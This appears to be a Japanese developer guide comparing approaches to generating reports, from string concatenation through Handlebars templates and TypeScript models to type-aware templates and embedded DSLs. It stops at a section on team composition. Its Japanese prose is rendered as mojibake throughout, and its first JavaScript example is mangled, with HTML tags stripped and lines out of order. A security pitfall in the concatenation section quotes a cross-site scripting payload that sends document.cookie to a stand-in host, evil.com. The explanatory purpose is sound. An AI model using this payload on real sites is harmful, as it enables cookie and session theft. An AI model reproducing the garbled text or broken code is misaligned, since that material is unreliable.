ãªã¹ã¯ã®é«ãæååé£çµãããå ç¢ã§ã¿ã€ãã»ãŒããªDSLãŸã§ãããã¥ã¡ã³ãäœæã®ã¹ãã¯ãã«ãæ¢æ±ããŸããéçºè åãã®ãä¿¡é Œæ§ã®é«ãã¬ããŒãçæã·ã¹ãã ã®æ§ç¯ã«é¢ããå æ¬çãªã¬ã€ãã
ããããè¶ ããŠïŒã¿ã€ãã»ãŒããªã¬ããŒãçæã®å æ¬çãªã¬ã€ã
å€ãã®ãœãããŠã§ã¢éçºè
ãããç¥ã£ãŠããéããªææããããŸããããã¯ãè€éãªã¢ããªã±ãŒã·ã§ã³ã§ãã¬ããŒãçæããã¿ã³ãã¯ãªãã¯ãããšãã«äŒŽãææ
ã§ããPDFã¯æ£ããã¬ã³ããªã³ã°ãããã®ã ãããïŒè«æ±æžã®ããŒã¿ã¯æãã ãããïŒãããšããå°ãåŸã«ãå£ããããã¥ã¡ã³ãã®ã¹ã¯ãªãŒã³ã·ã§ãããéãnullå€ãé
眮ã®ããããŸãã¯ããã«æªãããšã«ãäžå¯è§£ãªãµãŒããŒãšã©ãŒã瀺ããããµããŒããã±ãããå±ãã®ã ãããïŒ
ãã®äžç¢ºå®æ§ã¯ãããã¥ã¡ã³ãçæã«å¯Ÿããäžè¬çãªã¢ãããŒãã«ããæ ¹æ¬çãªåé¡ã«èµ·å ããŠããŸããPDFãDOCXããŸãã¯HTMLãã¡ã€ã«ã§ãããåºåãæ§é åãããŠããªãããã¹ãã®ããããšããŠæ±ããŸããæååãçµåããç·©ãå®çŸ©ãããããŒã¿ãªããžã§ã¯ãããã³ãã¬ãŒãã«æž¡ããæåãå°œããããšãé¡ã£ãŠããŸããæ€èšŒã§ã¯ãªãåžæã«åºã¥ããŠæ§ç¯ããããã®ã¢ãããŒãã¯ãå®è¡æãšã©ãŒãã¡ã³ããã³ã¹ã®é çãããã³è匱ãªã·ã¹ãã ã®ã¬ã·ãã§ãã
ããè¯ãæ¹æ³ããããŸããéçåä»ãã®åãæŽ»çšããããšã§ãã¬ããŒãçæããªã¹ã¯ã®é«ãèžè¡ãããäºæž¬å¯èœãªç§åŠã«å€ããããšãã§ããŸããããã¯ãã¿ã€ãã»ãŒããªã¬ããŒãçæã®äžçã§ãããã³ã³ãã€ã©ãŒãæãä¿¡é Œã§ããå質ä¿èšŒããŒãããŒãšãªããããã¥ã¡ã³ãæ§é ãšãããããåããããŒã¿ãåžžã«åæããŠããããšãä¿èšŒããŸãããã®ã¬ã€ãã¯ãããã¥ã¡ã³ãäœæã®ããŸããŸãªæ¹æ³ãå·¡ãæ ã§ãããæååæäœã®æ··æ²ãšããèéãããã¿ã€ãã»ãŒããªã·ã¹ãã ã®èŠåŸæ£ããå埩åã®ããäžçãžãšé²ãã³ãŒã¹ãèšããŠããŸããå ç¢ã§ãä¿å®å¯èœã§ããšã©ãŒã®ãªãã¢ããªã±ãŒã·ã§ã³ãæ§ç¯ããããšããŠããéçºè ãã¢ãŒããã¯ããããã³æè¡ãªãŒããŒã«ãšã£ãŠããããããªãã®å°å³ã§ãã
ããã¥ã¡ã³ãçæã®ã¹ãã¯ãã«ïŒç¡æ¿åºç¶æ ããã¢ãŒããã¯ãã£ãŸã§
ãã¹ãŠã®ããã¥ã¡ã³ãçææè¡ãåãããã«äœæãããŠããããã§ã¯ãããŸããããããã¯ãå®å šæ§ãä¿å®æ§ãããã³è€éãã®ã¹ãã¯ãã«äžã«ååšããŸãããã®ã¹ãã¯ãã«ãçè§£ããããšã¯ããããžã§ã¯ãã«é©åãªã¢ãããŒããéžæããããã®æåã®ã¹ãããã§ãããããã4ã€ã®ç°ãªãã¬ãã«ãæã€æç床ã¢ãã«ãšããŠèŠèŠåã§ããŸãã
- ã¬ãã«1ïŒRaw String Concatenation - æãåºæ¬çã§æãå±éºãªæ¹æ³ã§ãããããã¥ã¡ã³ãã¯ããã¹ããšããŒã¿ã®æååãæåã§çµåããããšã«ãã£ãŠæ§ç¯ãããŸãã
- ã¬ãã«2ïŒTemplate Engines - ãã¬ãŒã³ããŒã·ã§ã³ïŒãã³ãã¬ãŒãïŒãããžãã¯ïŒããŒã¿ïŒããåé¢ããå€§å¹ ãªæ¹åã§ãããå€ãã®å Žåãäž¡è ã®éã®åŒ·åãªã€ãªããããããŸããã
- ã¬ãã«3ïŒStrongly-Typed Data Models - ã¿ã€ãã»ãŒããžã®æåã®å®éçãªã¹ãããã§ããããã³ãã¬ãŒãã«æž¡ãããããŒã¿ãªããžã§ã¯ããæ§é çã«æ£ããããšãä¿èšŒãããŸããããã³ãã¬ãŒãã«ãããã®äœ¿çšã¯ä¿èšŒãããŸããã
- ã¬ãã«4ïŒFully Type-Safe Systems - ä¿¡é Œæ§ã®é ç¹ã§ãããã³ã³ãã€ã©ãŒã¯ãããŒã¿ãã§ããããæçµçãªããã¥ã¡ã³ãæ§é ãŸã§ãã¿ã€ã察å¿ãã³ãã¬ãŒããŸãã¯ã³ãŒãããŒã¹ã®ãã¡ã€ã³åºæèšèªïŒDSLïŒã䜿çšããŠãããã»ã¹å šäœãçè§£ããæ€èšŒããŸãã
ãã®ã¹ãã¯ãã«ãäžã«ç§»åãããšãåæã®åçŽããå°ãç ç²ã«ããŠãé·æçãªå®å®æ§ãéçºè ã®ä¿¡é Œãããã³ãªãã¡ã¯ã¿ãªã³ã°ã®å®¹æãã«ãããŠå€§ããªã¡ãªãããåŸãããŸããåã¬ãã«ã詳ããèŠãŠãããŸãããã
ã¬ãã«1ïŒRaw String Concatenationã®ã西éšéææä»£ã
ç§ãã¡ã®ã¹ãã¯ãã«ã®åºç€ã«ã¯ãæãå€ããæãç°¡åãªæè¡ããããŸããæåéãæååãäžç·ã«ã¹ããã·ã¥ããããšã§ããã¥ã¡ã³ããæ§ç¯ããŸããããã¯å€ãã®å Žåãç¡éªæ°ã«å§ãŸããŸãããããã¹ãã ããªãã ããããããªã«é£ãããªãã ããïŒããšããèãããå§ãŸããŸãã
å®éã«ã¯ãJavaScriptã®ãããªèšèªã§ã¯æ¬¡ã®ããã«ãªããŸãã
ïŒã³ãŒãäŸïŒ
Customer: ' + invoice.customer.name + 'function createSimpleInvoiceHtml(invoice) {
let html = '';
html += 'Invoice #' + invoice.id + '
';
html += '
html += '
'; ';Item Price
for (const item of invoice.items) {
html += ' ';' + item.name + ' ' + item.price + '
}
html += '
html += '';
return html;
}
ãã®äºçްãªäŸã§ãããæ··ä¹±ã®çš®ããŸãããŠããŸãããã®ã¢ãããŒãã¯å±éºã«æºã¡ãŠããããã®åŒ±ç¹ã¯è€éããå¢ãã«ã€ããŠæããã«ãªããŸãã
èœãšã穎ïŒãªã¹ã¯ã®ã«ã¿ãã°
- æ§é ãšã©ãŒïŒ éãã¿ã°
</tr>ãŸãã¯</table>ã®å¿ããé 眮ãã¹ãããåŒçšç¬ŠããŸãã¯èª€ã£ããã¹ãã¯ãå®å šã«è§£æã«å€±æããããã¥ã¡ã³ãã«ã€ãªããå¯èœæ§ããããŸããWebãã©ãŠã¶ã¯å£ããHTMLã«å¯ŸããŠå¯å®¹ã§ããããšã§æåã§ãããå³å¯ãªXMLããŒãµãŒãŸãã¯PDFã¬ã³ããªã³ã°ãšã³ãžã³ã¯åã«ã¯ã©ãã·ã¥ããŸãã - ããŒã¿ã®ãã©ãŒãããã«é¢ããæªå€¢ïŒ
invoice.idãnullã®å Žåã©ããªããŸããïŒåºåã¯ãInvoice #nullãã«ãªããŸããitem.priceãé貚ãšããŠãã©ãŒãããããå¿ èŠãããæ°å€ã®å Žåã¯ã©ããªããŸããïŒãã®ããžãã¯ã¯ãæååã®æ§ç¯ãšãã¡ãæ··ãã«ãªããŸããæ¥ä»ã®ãã©ãŒãããã¯ãç¹°ãè¿ãã®é çã®çš®ã«ãªããŸãã - ãªãã¡ã¯ã¿ãªã³ã°ãã©ããïŒãããžã§ã¯ãå
šäœã®æ±ºå®ã§ã
customer.nameããããã£ã®ååãcustomer.legalNameã«å€æŽãããšããŸããã³ã³ãã€ã©ãŒã¯ããã§ããªããå©ããããšãã§ããŸãããããªãã¯ãããžãã¯æååãæ£åšããã³ãŒãããŒã¹å šäœã§ãèŠéããªãããšãç¥ããªãããå±éºãªfind-and-replaceããã·ã§ã³ãå®è¡ããŠããŸãã - ã»ãã¥ãªãã£ã®æšäºïŒãããæãéèŠãªé害ã§ãã
item.nameã®ãããªããŒã¿ããŠãŒã¶ãŒå ¥åããååŸãããå³å¯ã«ãµãã¿ã€ãºãããŠããªãå Žåãå€§èŠæš¡ãªã»ãã¥ãªãã£ããŒã«ãçºçããŸãã<script>fetch('//evil.com/steal?c=' + document.cookie)</script>ã®ãããªå ¥åã¯ããŠãŒã¶ãŒã®ããŒã¿ã䟵害ããå¯èœæ§ã®ããã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã°ïŒXSSïŒã®è匱æ§ãçã¿åºããŸãã
è©æ±ºïŒ Raw string concatenation ã¯è² åµã§ãããã®äœ¿çšã¯ãæ§é ãšã»ãã¥ãªãã£ãéèŠã§ã¯ãªãå éšãã°ãªã©ãæãåçŽãªã±ãŒã¹ã«éå®ããå¿ èŠããããŸãããŠãŒã¶ãŒåããŸãã¯ããžãã¹ã«äžå¯æ¬ ãªããã¥ã¡ã³ãã®å Žåãã¹ãã¯ãã«ãäžã«ç§»åããå¿ èŠããããŸãã
ã¬ãã«2ïŒTemplate Enginesã§é¿é£ãæ±ãã
ã¬ãã«1ã®æ··æ²ãèªèãããœãããŠã§ã¢ã®äžçã¯ã¯ããã«åªãããã©ãã€ã ãéçºããŸããïŒãã³ãã¬ãŒããšã³ãžã³ãåºæ¬çãªèãæ¹ã¯ãé¢å¿ã®åé¢ã§ããããã¥ã¡ã³ãã®æ§é ãšãã¬ãŒã³ããŒã·ã§ã³ïŒããã¥ãŒãïŒã¯ãã³ãã¬ãŒããã¡ã€ã«ã§å®çŸ©ãããã¢ããªã±ãŒã·ã§ã³ã®ã³ãŒãã¯ããŒã¿ïŒãã¢ãã«ãïŒãæäŸãã責任ããããŸãã
ãã®ã¢ãããŒãã¯ãŠããã¿ã¹ã§ããäŸã¯ããã¹ãŠã®äž»èŠãªãã©ãããã©ãŒã ãšèšèªã§èŠã€ããããšãã§ããŸãïŒHandlebarsãšMustacheïŒJavaScriptïŒãJinja2ïŒPythonïŒãThymeleafïŒJavaïŒãLiquidïŒRubyïŒãªã©ããããããããŸããæ§æã¯ç°ãªããŸãããæ žå¿çãªæŠå¿µã¯æ®éçã§ãã
åã®äŸã¯ã2ã€ã®ç°ãªãéšåã«å€æãããŸãã
ïŒãã³ãã¬ãŒããã¡ã€ã«ïŒinvoice.hbsïŒ
<html><body>
<h1>Invoice #{{id}}</h1>
<p>Customer: {{customer.name}}</p>
<table>
<tr><th>Item</th><th>Price</th></tr>
{{#each items}}
<tr><td>{{name}}</td><td>{{price}}</td></tr>
{{/each}}
</table>
</body></html>
ïŒã¢ããªã±ãŒã·ã§ã³ã³ãŒãïŒ
const template = Handlebars.compile(templateString);
const invoiceData = {
id: 'INV-123',
customer: { name: 'Global Tech Inc.' },
items: [
{ name: 'Enterprise License', price: 5000 },
{ name: 'Support Contract', price: 1500 }
]
};
const html = template(invoiceData);
倧ããªé£èº
- å¯èªæ§ãšä¿å®æ§ïŒãã³ãã¬ãŒãã¯ã¯ãªãŒã³ã§å®£èšçã§ããæçµçãªããã¥ã¡ã³ãã®ããã«èŠããŸããããã«ãããããã°ã©ãã³ã°ã®çµéšãå°ãªãããŒã ã¡ã³ããŒïŒãã¶ã€ããŒãªã©ïŒã§ããçè§£ãšå€æŽãã¯ããã«ç°¡åã«ãªããŸãã
- çµã¿èŸŒã¿ã»ãã¥ãªãã£ïŒã»ãšãã©ã®æçãããã³ãã¬ãŒããšã³ãžã³ã¯ãããã©ã«ãã§ã³ã³ããã¹ããæèããåºåãšã¹ã±ãŒããå®è¡ããŸãã
customer.nameã«æªæã®ããHTMLãå«ãŸããŠããå Žåãããã¯ç¡å®³ãªããã¹ãïŒäŸïŒ<script>ã¯<script>ã«ãªããŸãïŒãšããŠã¬ã³ããªã³ã°ãããæãäžè¬çãªXSSæ»æã軜æžããŸãã - åå©çšæ§ïŒãã³ãã¬ãŒãã¯æ§æã§ããŸããããããŒãããã¿ãŒãªã©ã®å ±éèŠçŽ ããéšåãã«æœåºããããŸããŸãªããã¥ã¡ã³ãã§åå©çšããŠãäžè²«æ§ãä¿é²ããéè€ãæžããããšãã§ããŸãã
æ®ãã®å¹œéïŒãæåååãå¥çŽ
ãããã®å€§èŠæš¡ãªæ¹åã«ãããããããã¬ãã«2ã«ã¯éå€§ãªæ¬ é¥ããããŸããã¢ããªã±ãŒã·ã§ã³ã³ãŒãïŒinvoiceDataïŒãšãã³ãã¬ãŒãïŒ{{customer.name}}ïŒã®éã®æ¥ç¶ã¯æååã«åºã¥ããŠããŸãããšã©ãŒãç¶¿å¯ã«ãã§ãã¯ããã³ã³ãã€ã©ãŒã¯ããã³ãã¬ãŒããã¡ã€ã«ã«é¢ããæŽå¯ããŸã£ããæã£ãŠããŸãããã³ã³ãã€ã©ãŒã¯'customer.name'ãåãªãå¥ã®æååãšããŠèŠãªããããŒã¿æ§é ãžã®éèŠãªãªã³ã¯ãšããŠã¯èŠãŸããã
ããã«ããã2ã€ã®äžè¬çã§å·§åŠãªé害ã¢ãŒããçºçããŸãã
- ã¿ã€ããã¹ïŒéçºè
ã¯èª€ã£ãŠãã³ãã¬ãŒãã«
{{customer.nane}}ãšèšè¿°ããŸããéçºäžã«ãšã©ãŒã¯ãããŸãããã³ãŒãã¯ã³ã³ãã€ã«ãããã¢ããªã±ãŒã·ã§ã³ãå®è¡ãããã¬ããŒãã¯é¡§å®¢ã®ååãããã¯ãã®å Žæã«ç©ºçœã¹ããŒã¹ã§çæãããŸããããã¯ããŠãŒã¶ãŒã«å°éãããŸã§ææãããªãå¯èœæ§ã®ããããµã€ã¬ã³ããªé害ã§ãã - ãªãã¡ã¯ã¿ãªã³ã°ïŒéçºè
ã¯ãã³ãŒãããŒã¹ãæ¹åããããã«ã
customerãªããžã§ã¯ãã®ååãclientã«å€æŽããããšãç®çãšããŸããã³ãŒããæŽæ°ãããã³ã³ãã€ã©ãŒã¯æºè¶³ããŸãããããã{{customer.name}}ãå«ããã³ãã¬ãŒãã¯å£ããŠããŸããçæããããã¹ãŠã®ã¬ããŒããäžæ£ã«ãªãããã®é倧ãªãã°ã¯å®è¡æã«ã®ã¿çºèŠãããããããæ¬çªç°å¢ã§çºèŠãããŸãã
ãã³ãã¬ãŒããšã³ãžã³ã¯ãããå®å šãªå®¶ãæäŸããŠãããŸãããåºç€ã¯ãŸã äžå®å®ã§ããåã§ãããè£åŒ·ããå¿ èŠããããŸãã
ã¬ãã«3ïŒãåä»ãéåçã-ããŒã¿ã¢ãã«ã§åŒ·å
ãã®ã¬ãã«ã¯ãéèŠãªå²åŠç転æã衚ããŠããŸãïŒããã³ãã¬ãŒãã«éä¿¡ããããŒã¿ã¯ãæ£ãããé©åã«å®çŸ©ãããŠããå¿ èŠããããŸãããç§ãã¡ã¯ãå¿åã®ãç·©ãæ§é åããããªããžã§ã¯ãã®åãæž¡ããããã代ããã«éçåä»ãèšèªã®æ©èœã䜿çšããŠãããŒã¿ã®å³æ Œãªå¥çŽãå®çŸ©ããŸãã
TypeScriptã§ã¯ãããã¯interfaceã䜿çšããããšãæå³ããŸããC#ãŸãã¯Javaã§ã¯ãclassã§ããPythonã§ã¯ãTypedDictãŸãã¯dataclassã§ããããŒã«ã¯èšèªåºæã§ãããååã¯æ®éçã§ããããŒã¿ã®ãã«ãŒããªã³ããäœæããŸãã
TypeScriptã䜿çšããŠãäŸãé²åãããŸãããã
ïŒåå®çŸ©ïŒinvoice.types.tsïŒ
interface InvoiceItem {
name: string;
price: number;
quantity: number;
}
interface Customer {
name: string;
address: string;
}
interface InvoiceViewModel {
id: string;
issueDate: Date;
customer: Customer;
items: InvoiceItem[];
totalAmount: number;
}
ïŒã¢ããªã±ãŒã·ã§ã³ã³ãŒãïŒ
function generateInvoice(data: InvoiceViewModel): string {
// ã³ã³ãã€ã©ãŒã¯ã'data'ãæ£ãã圢ç¶ã§ããããšã*ä¿èšŒ*ããããã«ãªããŸããã
const template = Handlebars.compile(getInvoiceTemplate());
return template(data);
}
ããã解決ããåé¡
ããã¯ãæ¹çšåŒã®ã³ãŒãåŽã®ã²ãŒã ãã§ã³ãžã£ãŒã§ããç§ãã¡ã¯ãåå®å šæ§ã®åé¡ã®ååã解決ããŸããã
- ãšã©ãŒã®é²æ¢ïŒéçºè
ãç¡å¹ãª
InvoiceViewModelãªããžã§ã¯ããæ§ç¯ããããšã¯äžå¯èœã«ãªããŸããããã£ãŒã«ãã®å¿ããtotalAmountã«stringã®æäŸããŸãã¯ããããã£ã®ã¹ãã«ã®èª€ãã«ãããå³åº§ã«ã³ã³ãã€ã«æã®ãšã©ãŒãçºçããŸãã - éçºè ãšã¯ã¹ããªãšã³ã¹ã®åäžïŒIDEã¯ãããŒã¿ãªããžã§ã¯ããæ§ç¯ãããšãã«ããªãŒãã³ã³ããªãŒããåãã§ãã¯ãããã³ã€ã³ã©ã€ã³ããã¥ã¡ã³ããæäŸããããã«ãªããŸãããããã«ãããéçºãåçã«å éããèªç¥è² è·ã軜æžãããŸãã
- èªå·±ææžåã³ãŒãïŒ
InvoiceViewModelã€ã³ã¿ãŒãã§ãŒã¹ã¯ãè«æ±æžãã³ãã¬ãŒãã«å¿ èŠãªããŒã¿ã®æç¢ºã§æç¢ºãªããã¥ã¡ã³ããšããŠæ©èœããŸãã
æªè§£æ±ºã®åé¡ïŒæåŸã®1ãã€ã«
ã¢ããªã±ãŒã·ã§ã³ã³ãŒãã«èŠå¡åãããåãç¯ããŸãããããã³ãã¬ãŒããžã®æ©ã¯äŸç¶ãšããŠèåŒ±ã§æ€æ»ãããŠããªãæååã§ã§ããŠããŸããã³ã³ãã€ã©ãŒã¯InvoiceViewModelãæ€èšŒããŸãããããã³ãã¬ãŒãã®å
容ãå®å
šã«ç¡èŠããŠããŸãããªãã¡ã¯ã¿ãªã³ã°ã®åé¡ãæ®ã£ãŠããŸããTypeScriptã€ã³ã¿ãŒãã§ãŒã¹ã§customerãclientã«åå倿Žããå Žåãã³ã³ãã€ã©ãŒã¯ã³ãŒããä¿®æ£ããã®ã«åœ¹ç«ã¡ãŸããããã³ãã¬ãŒãã®{{customer.name}}ãã¬ãŒã¹ãã«ããŒãå£ããŠããããšãèŠåããŸããããšã©ãŒã¯ãŸã å®è¡æã«å»¶æãããŸãã
çã®ãšã³ãããŒãšã³ãã®å®å šæ§ãå®çŸããã«ã¯ããã®æåŸã®ã®ã£ãããåããã³ã³ãã€ã©ãŒã«ãã³ãã¬ãŒãèªäœãèªèãããå¿ èŠããããŸãã
ã¬ãã«4ïŒãã³ã³ãã€ã©ãŒã®ã¢ã©ã€ã¢ã³ã¹ã-çã®åå®å šæ§ã®å®çŸ
ãããç®çå°ã§ãããã®ã¬ãã«ã§ã¯ãã³ã³ãã€ã©ãŒãã³ãŒããããŒã¿ãããã³ããã¥ã¡ã³ãæ§é ã®é¢ä¿ãçè§£ããæ€èšŒããã·ã¹ãã ãäœæããŸããããã¯ãããžãã¯ãšãã¬ãŒã³ããŒã·ã§ã³ã®éã®åçã§ãããã®æå 端ã®ä¿¡é Œæ§ãå®çŸããã«ã¯ã2ã€ã®äž»èŠãªãã¹ããããŸãã
ãã¹AïŒå察å¿ãã³ãã¬ãŒã
æåã®ãã¹ã¯ããã³ãã¬ãŒããšã³ãŒãã®åé¢ãç¶æããŸãããããããæ¥ç¶ããéèŠãªãã«ãæã®ã¹ãããã远å ããŸãããã®ããŒã«ã¯ãåã®å®çŸ©ãšãã³ãã¬ãŒãã®äž¡æ¹ãæ€æ»ããå®å šã«åæããŠããããšã確èªããŸãã
ããã¯æ¬¡ã®2ã€ã®æ¹æ³ã§æ©èœããŸãã
- ã³ãŒããããã³ãã¬ãŒããžã®æ€èšŒïŒãªã³ã¿ãŒãŸãã¯ã³ã³ãã€ã©ãŒãã©ã°ã€ã³ã¯ã
InvoiceViewModelåãèªã¿åããé¢é£ãããã¹ãŠã®ãã³ãã¬ãŒããã¡ã€ã«ãã¹ãã£ã³ããŸãã{{customer.nane}}ïŒã¿ã€ããã¹ïŒãŸãã¯{{customer.email}}ïŒååšããªãããããã£ïŒã®ãããªãã¬ãŒã¹ãã«ããŒãèŠã€ãã£ãå Žåããããã³ã³ãã€ã«æã®ãšã©ãŒãšããŠãã©ã°ãç«ãŠãããŸãã - ãã³ãã¬ãŒãããã³ãŒããžã®çæïŒãã«ãããã»ã¹ã¯ãæåã«ãã³ãã¬ãŒããã¡ã€ã«ãèªã¿åãã察å¿ããTypeScriptã€ã³ã¿ãŒãã§ãŒã¹ãŸãã¯C#ã¯ã©ã¹ãèªåçã«çæããããã«æ§æã§ããŸããããã«ããããã³ãã¬ãŒãã¯ããŒã¿ã®åœ¢ç¶ã®ãçå®ã®ãœãŒã¹ãã«ãªããŸãã
ãã®ã¢ãããŒãã¯ãå€ãã®ææ°ã®UIãã¬ãŒã ã¯ãŒã¯ã®ã³ã¢æ©èœã§ããããšãã°ãSvelteãAngularãVueïŒVolaræ¡åŒµæ©èœä»ãïŒã¯ãã¹ãŠãã³ã³ããŒãã³ãããžãã¯ãšHTMLãã³ãã¬ãŒãã®éã§å¯æ¥ãªã³ã³ãã€ã«æã®çµ±åãæäŸããŸããããã¯ãšã³ãã®äžçã§ã¯ã匷åãªåä»ã@modelãã£ã¬ã¯ãã£ããæã€ASP.NETã®Razorãã¥ãŒããåãç®æšãéæããŸããC#ã¢ãã«ã¯ã©ã¹ã§ããããã£ããªãã¡ã¯ã¿ãªã³ã°ãããšããã®ããããã£ã.cshtmlãã¥ãŒã§ãŸã åç
§ãããŠããå Žåãããã«ãã«ããšã©ãŒãçºçããŸãã
é·æïŒ
- ãã¶ã€ããŒãããã³ããšã³ãã¹ãã·ã£ãªã¹ãããã³ãã¬ãŒããç·šéããå¿ èŠãããããŒã ã«ãšã£ãŠçæ³çãªãé¢å¿ã®ã¯ãªãŒã³ãªåé¢ãç¶æããŸãã
- ãã³ãã¬ãŒãã®å¯èªæ§ãšéçåä»ãã®å®å šæ§ã®ãäž¡æ¹ãå®çŸãããŸãã
çæïŒ
- ç¹å®ã®ãã¬ãŒã ã¯ãŒã¯ãšãã«ãããŒã«ã«å€§ããäŸåããŠããŸããã«ã¹ã¿ã ãããžã§ã¯ãã§Handlebarsã®ãããªäžè¬çãªãã³ãã¬ãŒããšã³ãžã³ã«å¯ŸããŠãããå®è£ ããããšã¯è€éã«ãªãå¯èœæ§ããããŸãã
- ãšã©ãŒããã£ããããã«ã¯ããã«ããŸãã¯ãªã³ãã£ã³ã°ã¹ãããã«äŸåããããããã£ãŒãããã¯ã«ãŒãããããã«é ããªãå¯èœæ§ããããŸãã
ãã¹BïŒã³ãŒãã«ããããã¥ã¡ã³ãã®æ§ç¯ïŒåã蟌ã¿DSLïŒ
2çªç®ã®ãå€ãã®å Žåããã匷åãªãã¹ã¯ãåå¥ã®ãã³ãã¬ãŒããã¡ã€ã«ããã¹ãŠåé€ããããšã§ãã代ããã«ããã¹ãããã°ã©ãã³ã°èšèªã®ãã¹ãŠã®åãšå®å šæ§ã䜿çšããŠãããã°ã©ã çã«ããã¥ã¡ã³ãã®æ§é ãå®çŸ©ããŸããããã¯ãåã蟌ã¿ãã¡ã€ã³åºæèšèªïŒDSLïŒãä»ããŠå®çŸãããŸãã
DSLã¯ãç¹å®ã®ã¿ã¹ã¯çšã«èšèšãããããèšèªã§ãããåã蟌ã¿ãDSLã¯ãæ°ããæ§æãçºæããŸããããã¹ãèšèªã®æ©èœïŒé¢æ°ããªããžã§ã¯ããã¡ãœãããã§ãŒã³ãªã©ïŒã䜿çšããŠãããã¥ã¡ã³ããæ§ç¯ããããã®æµæ¢ã§è¡šçŸåè±ããªAPIãäœæããŸãã
è«æ±æžçæã³ãŒãã¯ãæ¶ç©ºã§ãã代衚çãªTypeScriptã©ã€ãã©ãªã䜿çšããŠã次ã®ããã«ãªããŸãã
ïŒDSLã䜿çšããã³ãŒãäŸïŒ
import { Document, Page, Heading, Paragraph, Table, Cell, Row } from 'safe-document-builder';
function generateInvoiceDocument(data: InvoiceViewModel): Document {
return Document.create()
.add(Page.create()
.add(Heading.H1(`Invoice #${data.id}`))
.add(Paragraph.from(`Customer: ${data.customer.name}`)) // 'customer'ã®ååã倿Žãããšããã®è¡ã¯ã³ã³ãã€ã«æã«å£ããŸãïŒ
.add(Table.create()
.withHeaders([ 'Item', 'Quantity', 'Price' ])
.addRows(data.items.map(item =>
Row.from([
Cell.from(item.name),
Cell.from(item.quantity),
Cell.from(item.price)
])
))
)
);
}
é·æïŒ
- éŒéã®åå®å šæ§ïŒããã¥ã¡ã³ãå šäœã¯åãªãã³ãŒãã§ãããã¹ãŠã®ããããã£ã¢ã¯ã»ã¹ããã¹ãŠã®é¢æ°åŒã³åºãã¯ã³ã³ãã€ã©ãŒã«ãã£ãŠæ€èšŒãããŸãããªãã¡ã¯ã¿ãªã³ã°ã¯100ïŒ å®å šã§ãIDEãæ¯æŽããŸããããŒã¿ãšæ§é ã®äžäžèŽã«ããå®è¡æãšã©ãŒã®å¯èœæ§ã¯ãããŸããã
- 究極ã®åãšæè»æ§ïŒãã³ãã¬ãŒãèšèªã®æ§æã«ãã£ãŠå¶éãããããšã¯ãããŸãããã«ãŒããæ¡ä»¶ããã«ããŒé¢æ°ãã¯ã©ã¹ãããã³èšèªããµããŒãããããããèšèšãã¿ãŒã³ã䜿çšããŠãè€éããæœè±¡åããé«åºŠã«åçãªããã¥ã¡ã³ããæ§ç¯ã§ããŸããããšãã°ã
function createReportHeader(data): Componentãäœæããå®å šãªåå®å šæ§ã§åå©çšã§ããŸãã - ãã¹ãæ§ã®åäžïŒDSLã®åºåã¯ãPDFãªã©ã®æçµåœ¢åŒã«ã¬ã³ããªã³ã°ãããåã«ãå€ãã®å Žåãæœè±¡æ§æããªãŒïŒããã¥ã¡ã³ããè¡šãæ§é åãªããžã§ã¯ãïŒã§ããããã«ãããã¬ã³ããªã³ã°ããããã¡ã€ã«ã®äœéã§äžå®å®ãªèŠèŠçæ¯èŒãå®è¡ããããšãªããçæãããããã¥ã¡ã³ãã®ããŒã¿æ§é ãã¡ã€ã³ããŒãã«ã«æ£ç¢ºã«5è¡ããããšãã¢ãµãŒãã§ãã匷åãªåäœãã¹ããå¯èœã«ãªããŸãã
çæïŒ
- ãã¶ã€ããŒ-éçºè ã®ã¯ãŒã¯ãããŒïŒãã®ã¢ãããŒãã¯ããã¬ãŒã³ããŒã·ã§ã³ãšããžãã¯ã®éã®ç·ããŒãããŸããéããã°ã©ããŒã¯ããã¡ã€ã«ãç·šéããŠã¬ã€ã¢ãŠããŸãã¯ã³ããŒãç°¡åã«èª¿æŽããããšã¯ã§ããŸããããã¹ãŠã®å€æŽã¯ãéçºè ãä»ããŠè¡ãå¿ èŠããããŸãã
- åé·æ§ïŒéåžžã«åçŽã§éçãªããã¥ã¡ã³ãã®å ŽåãDSLã¯ç°¡æœãªãã³ãã¬ãŒããããåé·ã«æããããå ŽåããããŸãã
- ã©ã€ãã©ãªã®äŸåé¢ä¿ïŒããªãã®ãšã¯ã¹ããªãšã³ã¹ã®å質ã¯ãåºç€ãšãªãDSLã©ã€ãã©ãªã®èšèšãšæ©èœã«å®å šã«äŸåããŠããŸãã
å®çšçãªæææ±ºå®ãã¬ãŒã ã¯ãŒã¯ïŒã¬ãã«ã®éžæ
ã¹ãã¯ãã«ãç¥ã£ãŠããããžã§ã¯ãã«é©åãªã¬ãã«ãéžæããã«ã¯ã©ãããã°ããã§ããããïŒæ±ºå®ã¯ãããã€ãã®éèŠãªèŠçŽ ã«åºã¥ããŠããŸãã
ããã¥ã¡ã³ãã®è€éããè©äŸ¡ãã
- åçŽïŒãã¹ã¯ãŒããªã»ããã¡ãŒã«ãåºæ¬çãªéç¥ã®å Žåãã¬ãã«3ïŒåä»ãã¢ãã«+ãã³ãã¬ãŒãïŒãæé©ãªå Žæã§ããããšããããããŸããæå°éã®ãªãŒããŒãããã§ãã³ãŒãåŽã«ååãªå®å šæ§ãæäŸããŸãã
- äžçšåºŠïŒè«æ±æžãèŠç©ããã鱿¬¡ãµããªãŒã¬ããŒããªã©ã®æšæºçãªããžãã¹ããã¥ã¡ã³ãã®å Žåããã³ãã¬ãŒã/ã³ãŒãã®ããªããã®ãªã¹ã¯ã倧ãããªããŸããã¬ãã«4AïŒå察å¿ãã³ãã¬ãŒãïŒã®ã¢ãããŒããã¹ã¿ãã¯ã§å©çšã§ããå Žåã¯ã匷åãªåè£ã«ãªããŸããã·ã³ãã«ãªDSLïŒã¬ãã«4BïŒãåªããéžæè¢ã§ãã
- è€éïŒè²¡åè«žè¡šãæ¡ä»¶ä»ãæ¡é ãå«ãæ³çå¥çŽããŸãã¯ä¿éºå¥çŽãªã©ã®é«åºŠã«åçãªããã¥ã¡ã³ãã®å Žåããšã©ãŒã®ã³ã¹ãã¯è«å€§ã§ããããžãã¯ã¯è€éã§ããDSLïŒã¬ãã«4BïŒã¯ããã®åããã¹ãå¯èœæ§ãããã³é·æçãªä¿å®æ§ã®ããã«ãã»ãŒåžžã«åªããéžæè¢ã§ãã
ããŒã ã®æ§æãæ€èšãã
